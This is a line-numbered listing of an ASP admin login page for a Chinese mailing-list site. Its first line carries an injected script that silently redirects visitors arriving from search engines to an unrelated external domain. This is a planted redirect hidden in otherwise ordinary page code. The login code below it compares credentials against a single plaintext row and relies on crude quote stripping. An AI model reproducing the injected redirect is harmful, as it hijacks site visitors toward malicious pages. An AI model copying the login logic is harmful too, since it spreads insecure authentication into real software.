d:\wwwroot\wuchunhua\mail\admin.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%
003: If Request.QueryString("act")="check" then
004: dim admin,pwd,rs
005: admin = replace(Trim(request.form("gly")),"'","")
006: pwd = replace(Trim(request.form("pwd")),"'","")
007: set rs=conn.execute("select name,pw from admin")
008: if admin=rs(0) and pwd=rs(1) then
009: session("gly")=admin
010: response.redirect "pic/main.htm"
011: else
012: response.write "<script>alert('登录失败,请检查用户名或者密码是否正确');location.href='admin.asp';</script>"
013: end if
014: set rs=nothing
015: end if
016: call closeDB()
017: %
>
018: <html>
019: <head>
020: <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
021: <meta name="ProgId" content="FrontPage.Editor.Document">
022: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
023: <title>邮件列表</title>
024: <link rel="stylesheet" type="text/css" href="STYLE.CSS">
025: <style type="text/css">
026: <!--
027: body {
028:    background-color: #99CCFF;
029: }
030: -->

031: </style></head>
032: <body>
033: <form method="POST" action="admin.asp?act=check">
034:   <p align="center"><span style="letter-spacing: 11"><b>
035:   <font size="4" color="#0000FF">邮件列表</font></b></span></p>
036:   <p align="center"> </p>
037:   <p align="center">管理员:<input type="text" name="gly" size="20" style="border-style: solid; border-width: 1"></p>
038:   <p align="center">密&nbsp; 码:<input type="password" name="pwd" size="20" style="border-style: solid; border-width: 1"></p>
039:   <p align="center">
040:   <input type="submit" value="登录" name="B1" style="border-style: solid; border-width: 1">
041:   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
042:   <input type="reset" value="取消" name="td" style="border-style: solid; border-width: 1"></p>
043: </form>
044: <p align="center"><!--#include file="pic/foot.htm"--></p>
045: </body>
046: </html>
047:
048: